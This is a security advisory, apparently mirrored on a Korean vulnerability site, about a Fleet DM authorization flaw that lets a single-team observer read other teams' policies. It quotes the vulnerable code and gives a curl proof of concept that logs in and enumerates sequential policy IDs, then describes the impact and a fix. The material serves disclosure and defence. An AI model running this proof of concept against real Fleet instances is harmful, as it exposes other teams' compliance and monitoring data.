Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N상세 설명
Summary
The global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) performs authorization against an empty fleet.Policy{} struct with nil TeamID, then fetches any policy by ID from the database without verifying the fetched policy actually belongs to the global scope. This allows a user with observer-level access on any single team to read the full details of policies belonging to any other team, bypassing Fleet's team isolation model.
Details
The vulnerability is in GetPolicyByIDQueries at server/service/global_policies.go:163-180:
1func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) { 2 // Auth check uses empty Policy{} — TeamID is nil 3 if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil { 4 return nil, err 5 } 6 7 // Fetches ANY policy by ID, regardless of team ownership 8 policy, err := svc.ds.Policy(ctx, policyID) 9 if err != nil {10 return nil, err11 }12 // ... populates install_software and run_script, returns full policy13 return policy, nil14}The authorization passes because the OPA rule at server/authz/policy.rego:724-728 allows reading policies with null team_id for any user who holds a role on any team:
1allow { 2 is_null(object.team_id) 3 object.type == "policy" 4 team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_] 5 action == read 6}Since the auth object has nil TeamID, this rule fires for any team member. After authorization, ds.Policy() calls policyDB() at server/datastore/mysql/policies.go:283-288 with a nil teamID:
1func policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) { 2 teamWhere := "TRUE" // nil teamID → no team filter 3 args := []interface{}{id} 4 if teamID != nil { 5 teamWhere = "team_id = ?" 6 args = append(args, *teamID) 7 } 8 // ... executes SELECT with WHERE p.id = ? AND {teamWhere}This returns any policy regardless of team ownership, and the full policy object is returned to the caller without any post-fetch team verification.
By contrast, the properly-secured endpoints verify team scope:
GetTeamPolicyByIDQueries(team_policies.go:421-428) setsTeamID: ptr.Uint(teamID)on the auth object and callsds.TeamPolicy()which filters by teamDeleteGlobalPolicies(global_policies.go:255-263) explicitly checkspolicy.PolicyData.TeamID != nilafter fetching
PoC
Prerequisites: A Fleet instance with at least two teams. User A has observer role on Team 1 only. Team 2 has policies that User A should not be able to view.
1# Step 1: Authenticate as User A (Team 1 observer only) 2TOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \ 3 -H 'Content-Type: application/json' \ 4 -d '{"email":"team1observer@example.com","password":"password"}' | jq -r '.token') 5 6# Step 2: Enumerate policy IDs (they are sequential integers) 7# Attempt to read a policy belonging to Team 2 (e.g., policy ID 5) 8curl -s -H "Authorization: Bearer $TOKEN" \ 9 https://fleet.example.com/api/latest/fleet/policies/510 11# Expected: 403 Forbidden (user has no access to Team 2)12# Actual: 200 OK with full policy data:13# {14# "policy": {15# "id": 5,16# "name": "Team 2 Sensitive Policy",17# "query": "SELECT * FROM sensitive_table WHERE ...",18# "team_id": 2,19# "passing_host_count": 42,20# "failing_host_count": 7,21# "description": "...",22# "resolution": "...",23# ...24# }25# }Impact
An authenticated user with observer-level access on any single team can:
- Read SQL queries from all team policies across the Fleet instance, potentially revealing security monitoring strategies, compliance checks, and internal infrastructure details
- View host pass/fail counts for other teams' policies, leaking compliance posture data across team boundaries
- Access software installer and script metadata associated with other teams' policies via the
populatePolicyInstallSoftwareandpopulatePolicyRunScriptcalls - Enumerate all policies by iterating sequential integer IDs
This breaks Fleet's team isolation model, which is designed to restrict visibility between teams. Organizations using teams to separate departments, clients, or security zones would have their policy data exposed across boundaries.
Recommended Fix
Add a post-fetch check in GetPolicyByIDQueries to verify the returned policy is actually a global policy (nil TeamID), consistent with how DeleteGlobalPolicies operates:
1func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) { 2 if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil { 3 return nil, err 4 } 5 6 policy, err := svc.ds.Policy(ctx, policyID) 7 if err != nil { 8 return nil, err 9 }10 11 // Verify this is actually a global policy — team policies must be12 // accessed via the team-scoped endpoint which enforces team authorization13 if policy.TeamID != nil {14 return nil, authz.ForbiddenWithInternal(15 "attempting to read team policy via global endpoint",16 authz.UserFromContext(ctx),17 policy,18 fleet.ActionRead,19 )20 }21 22 if err := svc.populatePolicyInstallSoftware(ctx, policy); err != nil {23 return nil, ctxerr.Wrap(ctx, err, "populate install_software")24 }25 if err := svc.populatePolicyRunScript(ctx, policy); err != nil {26 return nil, ctxerr.Wrap(ctx, err, "populate run_script")27 }28 29 return policy, nil30}Alternatively, re-authorize against the actual fetched policy object so OPA rules properly evaluate team membership, similar to how other Fleet endpoints handle object-level authorization.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.